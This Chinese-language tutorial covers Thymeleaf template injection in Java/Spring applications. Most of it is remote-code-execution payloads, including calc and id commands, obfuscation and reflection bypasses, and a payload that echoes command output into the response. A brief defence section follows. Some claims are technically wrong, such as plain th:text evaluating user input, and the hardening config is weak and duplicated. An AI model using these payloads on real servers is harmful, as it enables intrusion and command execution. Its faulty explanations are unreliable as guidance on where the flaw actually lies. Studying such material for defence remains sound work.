JAVA安全之Thymeleaf模板引擎注入从0到1及绕过思路
字数 1286 2025-08-29 08:30:30
Thymeleaf模板引擎注入从0到1及绕过思路
1. Thymeleaf基础
Thymeleaf是一个Java模板引擎,主要用于Web应用程序开发,特别适合与Spring框架集成。其核心特点包括:
- 服务器端处理模板
- 将数据模型填充到模板中生成HTML响应
- 支持自然模板(可在浏览器直接查看原型)
- 表达式语言(Thymeleaf Standard Expressions)
2. Thymeleaf表达式语法
Thymeleaf使用五种标准表达式:
- 变量表达式:
${...} - 选择表达式:
*{...} - 消息表达式:
#{...} - 链接表达式:
@{...} - 片段表达式:
~{...}
3. Thymeleaf模板注入原理
当攻击者能够控制模板内容或表达式时,可能导致服务器端代码执行。常见注入点:
- 直接使用用户输入作为模板
- 用户可控的模板名称
- 用户可控的表达式片段
4. 基本注入示例
4.1 简单表达式注入
@Controller
public class TestController {
@GetMapping("/test")
public String test(String username, Model model) {
model.addAttribute("username", username);
return "welcome";
}
}
如果模板welcome.html包含:
<p th:text="${username}"></p>
攻击者可构造恶意输入执行表达式:
${T(java.lang.Runtime).getRuntime().exec('calc')}
4.2 表达式预处理注入
Thymeleaf支持表达式预处理,使用__${...}__语法:
<p th:text="__${username}__"></p>
攻击者可构造:
${T(java.lang.Runtime).getRuntime().exec('calc')}__
5. 高级注入技术
5.1 表达式内联
Thymeleaf支持内联表达式,使用[[...]]或[(...)]:
<p>Hello, [[${username}]]</p>
攻击者可构造:
${T(java.lang.Runtime).getRuntime().exec('calc')}
5.2 URL表达式注入
<a th:href="@{/user/profile(id=${userId})}">Profile</a>
攻击者可构造恶意userId:
__${T(java.lang.Runtime).getRuntime().exec('calc')}__
6. 沙箱绕过技术
6.1 反射调用绕过
${#ctx.getVariable('param')}
${#request.getAttribute('param')}
${#request.getParameter('param')}
6.2 内置对象利用
Thymeleaf提供多个内置对象:
#ctx: 上下文对象#vars: 上下文变量#locale: 本地化对象#request: HttpServletRequest对象#response: HttpServletResponse对象#session: HttpSession对象#servletContext: ServletContext对象
利用示例:
${#request.getSession().setAttribute('param',T(java.lang.Runtime).getRuntime().exec('calc'))}
6.3 表达式预处理链式调用
${T(java.lang.Class).forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(java.lang.String)).invoke(T(java.lang.Class).forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(java.lang.Class).forName('java.la'+'ng.Ru'+'ntime')),'calc')}
7. 防御措施
7.1 输入验证与过滤
- 对用户输入进行严格验证
- 过滤特殊字符和表达式语法
7.2 使用安全配置
@Bean
public TemplateEngine templateEngine() {
SpringTemplateEngine templateEngine = new SpringTemplateEngine();
templateEngine.setEnableSpringELCompiler(false);
templateEngine.setTemplateResolver(templateResolver());
// 禁用不安全的表达式特性
templateEngine.setEnableSpringELCompiler(false);
return templateEngine;
}
7.3 使用最新版本
- 保持Thymeleaf版本更新
- 关注安全公告和补丁
7.4 最小权限原则
- 限制模板引擎的访问权限
- 使用安全沙箱环境
8. 检测与利用工具
- 手工检测:尝试输入
${7*7}等简单表达式 - Burp Suite:使用Scanner模块检测
- 自定义脚本:自动化检测和利用
9. 实际案例分析
案例1:Spring Boot + Thymeleaf注入
@GetMapping("/greeting")
public String greeting(@RequestParam(name="name", required=false, defaultValue="World") String name, Model model) {
model.addAttribute("name", name);
return "greeting";
}
攻击payload:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
案例2:模板名称注入
@GetMapping("/dynamic")
public String dynamicTemplate(@RequestParam String template) {
return template; // 直接返回用户控制的模板名称
}
攻击payload:
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::x
10. 高级绕过技巧
10.1 字符拼接绕过
${T(java.lang.Runtime).getRuntime().exec('c'+'alc')}
10.2 十六进制编码
${T(java.lang.Runtime).getRuntime().exec('\x63\x61\x6c\x63')}
10.3 反射调用
${#this.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')}
10.4 利用Spring EL特性
${T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('calc').getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}
11. 总结
Thymeleaf模板注入是一种严重的服务器端漏洞,攻击者可通过精心构造的表达式实现远程代码执行。防御需要从输入验证、安全配置、权限控制等多方面入手,同时保持组件更新和安全意识。